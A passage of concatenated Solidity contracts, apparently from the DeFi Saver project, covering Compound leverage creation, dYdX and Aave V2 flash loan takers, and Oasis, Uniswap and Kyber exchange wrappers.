the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { // solhint-disable-next-line avoid-tx-origin tx.origin.transfer(address(this).balance); } } /// @notice Formats function data call so we can call it through DSProxy /// @param _amount Amount of FL /// @param _fee Fee of the FL /// @param _params Saver proxy params function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (CompCreateData memory compCreate, ExchangeData memory exchangeData) { CompoundCreateTaker.CreateInfo memory createData; address proxy; (createData , exchangeData, proxy)= abi.decode(_params, (CompoundCreateTaker.CreateInfo, ExchangeData, address)); bytes memory proxyData = abi.encodeWithSignature( "open(address,address,uint256)", createData.cCollAddress, createData.cBorrowAddress, (_amount + _fee)); compCreate = CompCreateData({ proxyAddr: payable(proxy), proxyData: proxyData, cCollAddr: createData.cCollAddress, cDebtAddr: createData.cBorrowAddress }); return (compCreate, exchangeData); } /// @notice Send the FL funds received to DSProxy /// @param _proxy DSProxy address /// @param _reserve Token address function sendToProxy(address payable _proxy, address _reserve) internal { if (_reserve != ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, ERC20(_reserve).balanceOf(address(this))); } else { _proxy.transfer(address(this).balance); } } // solhint-disable-next-line no-empty-blocks receive() external override(FlashLoanReceiverBase, DFSExchangeCore) payable {} } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../interfaces/ILendingPool.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../auth/ProxyPermission.sol"; import "../../exchangeV3/DFSExchangeData.sol"; import "../../utils/SafeERC20.sol"; /// @title Opens compound positions with a leverage contract CompoundCreateTaker is ProxyPermission { using SafeERC20 for ERC20; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); struct CreateInfo { address cCollAddress; address cBorrowAddress; uint depositAmount; } /// @notice Main function which will take a FL and open a leverage position /// @dev Call through DSProxy, if _exchangeData.destAddr is a token approve DSProxy /// @param _createInfo [cCollAddress, cBorrowAddress, depositAmount] /// @param _exchangeData Exchange data struct function openLeveragedLoan( CreateInfo memory _createInfo, DFSExchangeData.ExchangeData memory _exchangeData, address payable _compReceiver ) public payable { uint loanAmount = _exchangeData.srcAmount; // Pull tokens from user if (_exchangeData.destAddr != ETH_ADDRESS) { ERC20(_exchangeData.destAddr).safeTransferFrom(msg.sender, address(this), _createInfo.depositAmount); } else { require(msg.value >= _createInfo.depositAmount, "Must send correct amount of eth"); } // Send tokens to FL receiver sendDeposit(_compReceiver, _exchangeData.destAddr); bytes memory paramsData = abi.encode(_createInfo, _exchangeData, address(this)); givePermission(_compReceiver); lendingPool.flashLoan(_compReceiver, _exchangeData.srcAddr, loanAmount, paramsData); removePermission(_compReceiver); logger.Log(address(this), msg.sender, "CompoundLeveragedLoan", abi.encode(_exchangeData.srcAddr, _exchangeData.destAddr, _exchangeData.srcAmount, _exchangeData.destAmount)); } function sendDeposit(address payable _compoundReceiver, address _token) internal { if (_token != ETH_ADDRESS) { ERC20(_token).safeTransfer(_compoundReceiver, ERC20(_token).balanceOf(address(this))); } _compoundReceiver.transfer(address(this).balance); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../auth/ProxyPermission.sol"; import "../utils/DydxFlashLoanBase.sol"; import "../loggers/DefisaverLogger.sol"; import "../interfaces/ERC20.sol"; /// @title Takes flash loan contract DyDxFlashLoanTaker is DydxFlashLoanBase, ProxyPermission { address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; /// @notice Takes flash loan for _receiver /// @dev Receiver must send back WETH + 2 wei after executing transaction /// @dev Method is meant to be called from proxy and proxy will give authorization to _receiver /// @param _receiver Address of funds receiver /// @param _ethAmount ETH amount that needs to be pulled from dydx /// @param _encodedData Bytes with packed data function takeLoan(address _receiver, uint256 _ethAmount, bytes memory _encodedData) public { ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR); // Calculate repay amount (_amount + (2 wei)) // Approve transfer from uint256 repayAmount = _getRepaymentAmountInternal(_ethAmount); ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, _ethAmount, _receiver); operations[1] = _getCallAction( _encodedData, _receiver ); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); givePermission(_receiver); solo.operate(accountInfos, operations); removePermission(_receiver); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "DyDxFlashLoanTaken", abi.encode(_receiver, _ethAmount, _encodedData)); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../utils/SafeMath.sol"; import "../savings/dydx/ISoloMargin.sol"; contract DydxFlashLoanBase { using SafeMath for uint256; address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; function _getMarketIdFromTokenAddress(address token) internal view returns (uint256) { return 0; } function _getRepaymentAmountInternal(uint256 amount) internal view returns (uint256) { // Needs to be overcollateralize // Needs to provide +2 wei to be safe return amount.add(2); } function _getAccountInfo() internal view returns (Account.Info memory) { return Account.Info({owner: address(this), number: 1}); } function _getWithdrawAction(uint marketId, uint256 amount, address contractAddr) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data, address contractAddr) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: data }); } function _getDepositAction(uint marketId, uint256 amount, address contractAddr) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: contractAddr, otherAccountId: 0, data: "" }); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../AaveHelperV2.sol"; import "../../../utils/GasBurner.sol"; import "../../../auth/AdminAuth.sol"; import "../../../auth/ProxyPermission.sol"; import "../../../utils/DydxFlashLoanBase.sol"; import "../../../loggers/DefisaverLogger.sol"; import "../../../interfaces/ProxyRegistryInterface.sol"; import "../../../interfaces/TokenInterface.sol"; import "../../../interfaces/ERC20.sol"; import "../../../exchangeV3/DFSExchangeData.sol"; /// @title Import Aave position from account to wallet /// @dev Contract needs to have enough wei in WETH for all transactions (2 WETH wei per transaction) contract AaveSaverTakerOV2 is ProxyPermission, GasBurner, DFSExchangeData, AaveHelperV2 { address payable public constant AAVE_RECEIVER = 0xB33BBa30b6d276167C42d14fF3500FD24b4766D2; // leaving _flAmount to be the same as the older version function repay(address _market, ExchangeData memory _data, uint _rateMode, uint256 _gasCost, uint _flAmount) public payable burnGas(10) { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); // send msg.value for exchange to the receiver AAVE_RECEIVER.transfer(msg.value); address[] memory assets = new address[](1); assets[0] = _data.srcAddr; uint256[] memory amounts = new uint256[](1); amounts[0] = _data.srcAmount; // for repay we are using regular flash loan with paying back the flash loan + premium uint256[] memory modes = new uint256[](1); modes[0] = 0; // create data bytes memory encodedData = packExchangeData(_data); bytes memory data = abi.encode(encodedData, _market, _gasCost, _rateMode, true, address(this)); // give permission to receiver and execute tx givePermission(AAVE_RECEIVER); ILendingPoolV2(lendingPool).flashLoan(AAVE_RECEIVER, assets, amounts, modes, address(this), data, AAVE_REFERRAL_CODE); removePermission(AAVE_RECEIVER); } // leaving _flAmount to be the same as the older version function boost(address _market, ExchangeData memory _data, uint _rateMode, uint256 _gasCost, uint _flAmount) public payable burnGas(10) { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); // send msg.value for exchange to the receiver AAVE_RECEIVER.transfer(msg.value); address[] memory assets = new address[](1); assets[0] = _data.srcAddr; uint256[] memory amounts = new uint256[](1); amounts[0] = _data.srcAmount; uint256[] memory modes = new uint256[](1); modes[0] = _rateMode; // create data bytes memory encodedData = packExchangeData(_data); bytes memory data = abi.encode(encodedData, _market, _gasCost, _rateMode, false, address(this)); // give permission to receiver and execute tx givePermission(AAVE_RECEIVER); ILendingPoolV2(lendingPool).flashLoan(AAVE_RECEIVER, assets, amounts, modes, address(this), data, AAVE_REFERRAL_CODE); removePermission(AAVE_RECEIVER); } } pragma solidity ^0.6.0; import "./DSProxyInterface.sol"; abstract contract ProxyRegistryInterface { function proxies(address _owner) public virtual view returns (address); function build(address) public virtual returns (address); } pragma solidity ^0.6.0; import "../../interfaces/ExchangeInterfaceV3.sol"; import "../../interfaces/OasisInterface.sol"; import "../../interfaces/TokenInterface.sol"; import "../../DS/DSMath.sol"; import "../../utils/SafeERC20.sol"; import "../../auth/AdminAuth.sol"; contract OasisTradeWrapperV3 is DSMath, ExchangeInterfaceV3, AdminAuth { using SafeERC20 for ERC20; address public constant OTC_ADDRESS = 0x794e6e91555438aFc3ccF1c5076A74F42133d08D; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @notice Sells a _srcAmount of tokens at Oasis /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external override payable returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); ERC20(srcAddr).safeApprove(OTC_ADDRESS, _srcAmount); uint destAmount = OasisInterface(OTC_ADDRESS).sellAllAmount(srcAddr, _srcAmount, destAddr, 0); // convert weth -> eth and send back if (destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw(destAmount); msg.sender.transfer(destAmount); } else { ERC20(destAddr).safeTransfer(msg.sender, destAmount); } return destAmount; } /// @notice Buys a _destAmount of tokens at Oasis /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) external override payable returns(uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); ERC20(srcAddr).safeApprove(OTC_ADDRESS, uint(-1)); uint srcAmount = OasisInterface(OTC_ADDRESS).buyAllAmount(destAddr, _destAmount, srcAddr, uint(-1)); // convert weth -> eth and send back if (destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw(_destAmount); msg.sender.transfer(_destAmount); } else { ERC20(destAddr).safeTransfer(msg.sender, _destAmount); } // Send the leftover from the source token back sendLeftOver(srcAddr); return srcAmount; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) public override view returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); return wdiv(OasisInterface(OTC_ADDRESS).getBuyAmount(destAddr, srcAddr, _srcAmount), _srcAmount); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) public override view returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); return wdiv(1 ether, wdiv(OasisInterface(OTC_ADDRESS).getPayAmount(srcAddr, destAddr, _destAmount), _destAmount)); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } receive() payable external {} } pragma solidity ^0.6.0; abstract contract OasisInterface { function getBuyAmount(address tokenToBuy, address tokenToPay, uint256 amountToPay) external virtual view returns (uint256 amountBought); function getPayAmount(address tokenToPay, address tokenToBuy, uint256 amountToBuy) public virtual view returns (uint256 amountPaid); function sellAllAmount(address pay_gem, uint256 pay_amt, address buy_gem, uint256 min_fill_amount) public virtual returns (uint256 fill_amt); function buyAllAmount(address buy_gem, uint256 buy_amt, address pay_gem, uint256 max_fill_amount) public virtual returns (uint256 fill_amt); } pragma solidity ^0.6.0; import "../../interfaces/ExchangeInterfaceV2.sol"; import "../../interfaces/OasisInterface.sol"; import "../../interfaces/TokenInterface.sol"; import "../../DS/DSMath.sol"; import "../../utils/SafeERC20.sol"; import "../../auth/AdminAuth.sol"; contract OasisTradeWrapper is DSMath, ExchangeInterfaceV2, AdminAuth { using SafeERC20 for ERC20; address public constant OTC_ADDRESS = 0x794e6e91555438aFc3ccF1c5076A74F42133d08D; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @notice Sells a _srcAmount of tokens at Oasis /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount) external override payable returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); ERC20(srcAddr).safeApprove(OTC_ADDRESS, _srcAmount); uint destAmount = OasisInterface(OTC_ADDRESS).sellAllAmount(srcAddr, _srcAmount, destAddr, 0); // convert weth -> eth and send back if (destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw(destAmount); msg.sender.transfer(destAmount); } else { ERC20(destAddr).safeTransfer(msg.sender, destAmount); } return destAmount; } /// @notice Buys a _destAmount of tokens at Oasis /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); ERC20(srcAddr).safeApprove(OTC_ADDRESS, uint(-1)); uint srcAmount = OasisInterface(OTC_ADDRESS).buyAllAmount(destAddr, _destAmount, srcAddr, uint(-1)); // convert weth -> eth and send back if (destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw(_destAmount); msg.sender.transfer(_destAmount); } else { ERC20(destAddr).safeTransfer(msg.sender, _destAmount); } // Send the leftover from the source token back sendLeftOver(srcAddr); return srcAmount; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); return wdiv(OasisInterface(OTC_ADDRESS).getBuyAmount(destAddr, srcAddr, _srcAmount), _srcAmount); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint) { address srcAddr = ethToWethAddr(_srcAddr); address destAddr = ethToWethAddr(_destAddr); return wdiv(1 ether, wdiv(OasisInterface(OTC_ADDRESS).getPayAmount(srcAddr, destAddr, _destAmount), _destAmount)); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } receive() payable external {} } pragma solidity ^0.6.0; import "../../utils/SafeERC20.sol"; import "../../interfaces/KyberNetworkProxyInterface.sol"; import "../../interfaces/ExchangeInterfaceV2.sol"; import "../../interfaces/UniswapExchangeInterface.sol"; import "../../interfaces/UniswapFactoryInterface.sol"; import "../../DS/DSMath.sol"; import "../../auth/AdminAuth.sol"; contract UniswapWrapper is DSMath, ExchangeInterfaceV2, AdminAuth { address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant UNISWAP_FACTORY = 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95; using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at Uniswap /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable override returns (uint) { address uniswapExchangeAddr; uint destAmount; _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); // if we are buying ether if (_destAddr == WETH_ADDRESS) { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, _srcAmount); destAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToEthTransferInput(_srcAmount, 1, block.timestamp + 1, msg.sender); } // if we are selling token to token else { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, _srcAmount); destAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToTokenTransferInput(_srcAmount, 1, 1, block.timestamp + 1, msg.sender, _destAddr); } return destAmount; } /// @notice Buys a _destAmount of tokens at Uniswap /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount) external override payable returns(uint) { address uniswapExchangeAddr; uint srcAmount; _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); // if we are buying ether if (_destAddr == WETH_ADDRESS) { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, uint(-1)); srcAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToEthTransferOutput(_destAmount, uint(-1), block.timestamp + 1, msg.sender); } // if we are buying token to token else { uniswapExchangeAddr = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); ERC20(_srcAddr).safeApprove(uniswapExchangeAddr, uint(-1)); srcAmount = UniswapExchangeInterface(uniswapExchangeAddr). tokenToTokenTransferOutput(_destAmount, uint(-1), uint(-1), block.timestamp + 1, msg.sender, _destAddr); } // Send the leftover from the source token back sendLeftOver(_srcAddr); return srcAmount; } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); if(_srcAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr); return wdiv(UniswapExchangeInterface(uniswapTokenAddress).getEthToTokenInputPrice(_srcAmount), _srcAmount); } else if (_destAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); return wdiv(UniswapExchangeInterface(uniswapTokenAddress).getTokenToEthInputPrice(_srcAmount), _srcAmount); } else { uint ethBought = UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr)).getTokenToEthInputPrice(_srcAmount); return wdiv(UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr)).getEthToTokenInputPrice(ethBought), _srcAmount); } } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount) public override view returns (uint) { _srcAddr = ethToWethAddr(_srcAddr); _destAddr = ethToWethAddr(_destAddr); if(_srcAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr); return wdiv(1 ether, wdiv(UniswapExchangeInterface(uniswapTokenAddress).getEthToTokenOutputPrice(_destAmount), _destAmount)); } else if (_destAddr == WETH_ADDRESS) { address uniswapTokenAddress = UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr); return wdiv(1 ether, wdiv(UniswapExchangeInterface(uniswapTokenAddress).getTokenToEthOutputPrice(_destAmount), _destAmount)); } else { uint ethNeeded = UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_destAddr)).getTokenToEthOutputPrice(_destAmount); return wdiv(1 ether, wdiv(UniswapExchangeInterface(UniswapFactoryInterface(UNISWAP_FACTORY).getExchange(_srcAddr)).getEthToTokenOutputPrice(ethNeeded), _destAmount)); } } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } receive() payable external {} } pragma solidity ^0.6.0; import "./ERC20.sol"; abstract contract KyberNetworkProxyInterface { function maxGasPrice() external virtual view returns (uint256); function getUserCapInWei(address user) external virtual view returns (uint256); function getUserCapInTokenWei(address user, ERC20 token) external virtual view returns (uint256); function enabled() external virtual view returns (bool); function info(bytes32 id) external virtual view returns (uint256); function getExpectedRate(ERC20 src, ERC20 dest, uint256 srcQty) public virtual view returns (uint256 expectedRate, uint256 slippageRate); function tradeWithHint( ERC20 src, uint256 srcAmount, ERC20 dest, address destAddress, uint256 maxDestAmount, uint256 minConversionRate, address walletId, bytes memory hint ) public virtual payable returns (uint256); function trade( ERC20 src, uint256 srcAmount, ERC20 dest, address destAddress, uint256 maxDestAmount, uint256 minConversionRate, address walletId ) public virtual payable returns (uint256); function swapEtherToToken(ERC20 token, uint256 minConversionRate) external virtual payable returns (uint256); function swapTokenToEther(ERC20 token, uint256 tokenQty, uint256 minRate) external virtual payable returns (uint256); function swapTokenToToken(ERC20 src, uint256 srcAmount, ERC20 dest, uint256 minConversionRate) public virtual returns (uint256); } pragma solidity ^0.6.0; abstract contract UniswapExchangeInterface { function getEthToTokenInputPrice(uint256 eth_sold) external virtual view returns (uint256 tokens_bought); function getEthToTokenOutputPrice(uint256 tokens_bought) external virtual view returns (uint256 eth_sold); function getTokenToEthInputPrice(uint256 tokens_sold) external virtual view returns (uint256 eth_bought); function getTokenToEthOutputPrice(uint256 eth_bought) external virtual view returns (uint256 tokens_sold); function tokenToEthTransferInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient ) external virtual returns (uint256 eth_bought); function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external virtual payable returns (uint256 tokens_bought); function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr ) external virtual returns (uint256 tokens_bought); function ethToTokenTransferOutput( uint256 tokens_bought, uint256 deadline, address recipient ) external virtual payable returns (uint256 eth_sold); function tokenToEthTransferOutput( uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient ) external virtual returns (uint256 tokens_sold); function tokenToTokenTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr ) external virtual returns (uint256 tokens_sold); } pragma solidity ^0.6.0; abstract contract UniswapFactoryInterface { function getExchange(address token) external view virtual returns (address exchange); } pragma solidity ^0.6.0; import "../../utils/SafeERC20.sol"; import "../../interfaces/KyberNetworkProxyInterface.sol"; import "../../interfaces/IFeeRecipient.sol"; import "../../interfaces/ExchangeInterfaceV3.sol"; import "../../DS/DSMath.sol"; import "../../auth/AdminAuth.sol"; contract KyberWrapperV3 is DSMath, ExchangeInterfaceV3, AdminAuth { address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant KYBER_INTERFACE = 0x9AAb3f75489902f3a48495025729a0AF77d4b11e; IFeeRecipient public constant feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); using SafeERC20 for ERC20; /// @notice Sells a _srcAmount of tokens at Kyber /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return uint Destination amount function sell(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external override payable returns (uint) { ERC20 srcToken = ERC20(_srcAddr); ERC20 destToken = ERC20(_destAddr); address walletAddr = feeRecipient.getFeeAddr(); KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE); if (_srcAddr != KYBER_ETH_ADDRESS) { srcToken.safeApprove(address(kyberNetworkProxy), _srcAmount); } uint destAmount = kyberNetworkProxy.trade{value: msg.value}( srcToken, _srcAmount, destToken, msg.sender, uint(-1), 0, walletAddr ); return destAmount; } /// @notice Buys a _destAmount of tokens at Kyber /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return uint srcAmount function buy(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) external override payable returns(uint) { ERC20 srcToken = ERC20(_srcAddr); ERC20 destToken = ERC20(_destAddr); address walletAddr = feeRecipient.getFeeAddr(); uint srcAmount = 0; if (_srcAddr != KYBER_ETH_ADDRESS) { srcAmount = srcToken.balanceOf(address(this)); } else { srcAmount = msg.value; } KyberNetworkProxyInterface kyberNetworkProxy = KyberNetworkProxyInterface(KYBER_INTERFACE); if (_srcAddr != KYBER_ETH_ADDRESS) { srcToken.safeApprove(address(kyberNetworkProxy), srcAmount); } uint destAmount = kyberNetworkProxy.trade{value: msg.value}( srcToken, srcAmount, destToken, msg.sender, _destAmount, 0, walletAddr ); require(destAmount == _destAmount, "Wrong dest amount"); uint srcAmountAfter = 0; if (_srcAddr != KYBER_ETH_ADDRESS) { srcAmountAfter = srcToken.balanceOf(address(this)); } else { srcAmountAfter = address(this).balance; } // Send the leftover from the source token back sendLeftOver(_srcAddr); return (srcAmount - srcAmountAfter); } /// @notice Return a rate for which we can sell an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _srcAmount From amount /// @return rate Rate function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) public override view returns (uint rate) { (rate, ) = KyberNetworkProxyInterface(KYBER_INTERFACE) .getExpectedRate(ERC20(_srcAddr), ERC20(_destAddr), _srcAmount); // multiply with decimal difference in src token rate = rate * (10**(18 - getDecimals(_srcAddr))); // divide with decimal difference in dest token rate = rate / (10**(18 - getDecimals(_destAddr))); } /// @notice Return a rate for which we can buy an amount of tokens /// @param _srcAddr From token /// @param _destAddr To token /// @param _destAmount To amount /// @return rate Rate function getBuyRate(address _srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) public override view returns (uint rate) { uint256 srcRate = getSellRate(_destAddr, _srcAddr, _destAmount, _additionalData); uint256 srcAmount = wmul(srcRate, _destAmount); rate = getSellRate(_srcAddr, _destAddr, srcAmount, _additionalData); // increase rate by 3% too account for inaccuracy between sell/buy conversion rate = rate + (rate / 30); } /// @notice Send any leftover tokens, we use to clear out srcTokens after buy /// @param _srcAddr Source token address function sendLeftOver(address _srcAddr) internal { msg.sender.transfer(address(this).balance); if (_srcAddr != KYBER_ETH_ADDRESS) { ERC20(_srcAddr).safeTransfer(msg.sender, ERC20(_srcAddr).balanceOf(address(this))); } } receive() payable external {} function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } } pragma solidity ^0.6.0; import "../../utils/SafeERC20.sol"; import "../../interfaces/ExchangeInterfaceV3.sol"; import "../../interfaces/UniswapRouterInterface.sol"; import "../../DS/DSMath.sol"; import 